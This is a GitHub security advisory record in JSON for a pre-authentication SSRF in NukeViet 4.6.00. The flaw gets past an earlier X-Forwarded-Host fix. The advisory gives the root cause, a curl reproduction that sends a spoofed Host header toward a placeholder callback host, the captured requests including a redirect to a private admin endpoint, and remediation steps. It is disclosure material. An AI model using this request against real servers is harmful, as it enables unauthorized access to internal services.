{"id":"GHSA-8xch-674f-grqr","summary":"NukeViet: Pre-authentication SSRF via incomplete X-Forwarded-Host fix","details":"## Summary\n\nNukeViet 4.6.00 remains vulnerable to pre-authentication SSRF despite the fix for CVE-2026-55372 / GHSA-4chg-4752-w88r.\n\nThe fix validates the host derived from `X-Forwarded-Host`, but NukeViet separately retains the ordinary `Host` header as `NV_SERVER_NAME`. During server-information cache initialization, `set_ini_file()` constructs a cURL URL from this unvalidated value and sends the request before validating it.\n\nAn unauthenticated attacker can supply the legitimate configured domain in `X-Forwarded-Host` while placing an attacker-selected destination in `Host`.\n\n## Affected version\n\n- NukeViet 4.6.00\n- Commit: `f47de5cd6577d0d49449754be9bafe9081be4981`\n- No authentication required\n\n## Root cause\n\n- `Server.php` stores `Host` and `X-Forwarded-Host` separately.\n- `mainfile.php` performs the early allowlist check only on the value derived from `X-Forwarded-Host`.\n- `ini.php` uses the unvalidated ordinary host in an outbound cURL request and follows redirects.\n- The ordinary host is rejected only after the outbound request has occurred.\n\n## Reproduction\n\nUse a fresh callback host reachable from the NukeViet server:\n\n```bash\ncurl --http1.1 -i http://TARGET/ \\\n  -H 'Host: FRESH_CALLBACK_HOST' \\\n  -H 'X-Forwarded-Host: LEGITIMATE_DOMAIN' \\\n  -H 'Connection: close'\n```\n\nNo session cookie or credentials are required. A `400 Bad Request` response is expected because the SSRF occurs before the late host rejection.\n\nThe callback receives:\n\n```http\nPOST /index.php HTTP/1.1\nHost: FRESH_CALLBACK_HOST\nReferer: http://LEGITIMATE_DOMAIN\nContent-Type: application/x-www-form-urlencoded\n\n__serverInfoUpdate=1\n```\n\n## Verified impact\n\nIn a controlled test, the callback server returned:\n\n```http\nHTTP/1.1 302 Found\nLocation: http://PRIVATE_IP:8081/internal/admin/reload?source=ssrf-proof\n```\n\nNukeViet followed the redirect, and the private service received:\n\n```http\nGET /internal/admin/reload?source=ssrf-proof HTTP/1.1\nHost: PRIVATE_IP:8081\n```\n\nThis proves that an unauthenticated attacker can reach an attacker-selected private HTTP host, port, and path. This could invoke internal administrative endpoints that rely on private-network access as authentication.\n\nThe SSRF is blind: response bodies are not returned to the attacker. RCE and response-data theft were not demonstrated.\n\n## Remediation\n\n- Validate the ordinary `Host` before loading `ini.php` or performing any side effect.\n- Do not construct server-side request URLs from request headers; use a configured canonical origin.\n- Disable redirect following for this internal request.\n- Trust forwarded headers only from configured reverse proxies.\n\nhttps://github.com/user-attachments/assets/963af555-34d9-4be5-8618-1c70651e20ba\n\n\n[nukeviet_ssrf_poc.py](https://github.com/user-attachments/files/30169107/nukeviet_ssrf_poc.py)","aliases":["CVE-2026-94561"],"modified":"2026-11-30T20:45:09.965309864Z","published":"2026-11-30T20:30:45Z","database_specific":{"cwe_ids":["CWE-918"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-11-30T20:30:45Z","nvd_published_at":"2026-11-20T19:18:55Z"},"references":[{"type":"WEB","url":"https://github.com/nukeviet/nukeviet/security/advisories/GHSA-8xch-674f-grqr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-94561"},{"type":"WEB","url":"https://github.com/nukeviet/nukeviet/commit/a2ceabdacd5fb3135bde6cdfb106e76b24736095"},{"type":"WEB","url":"https://github.com/nukeviet/nukeviet/commit/b5305fe257a7487c7b8fbe74b31a9554793be720"},{"type":"PACKAGE","url":"https://github.com/nukeviet/nukeviet"},{"type":"WEB","url":"https://github.com/nukeviet/nukeviet/releases/tag/4.6.01"},{"type":"WEB","url":"https://nukeviet.vn/vi/news/Tin-tuc/thong-bao-phat-hanh-nukeviet-4-6-01-857.html"}],"affected":[{"package":{"name":"nukeviet/nukeviet","ecosystem":"Packagist","purl":"pkg:composer/nukeviet/nukeviet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.6.00"},{"fixed":"4.6.01"}]}],"versions":["4.6.00"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-8xch-674f-grqr/GHSA-8xch-674f-grqr.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"}]}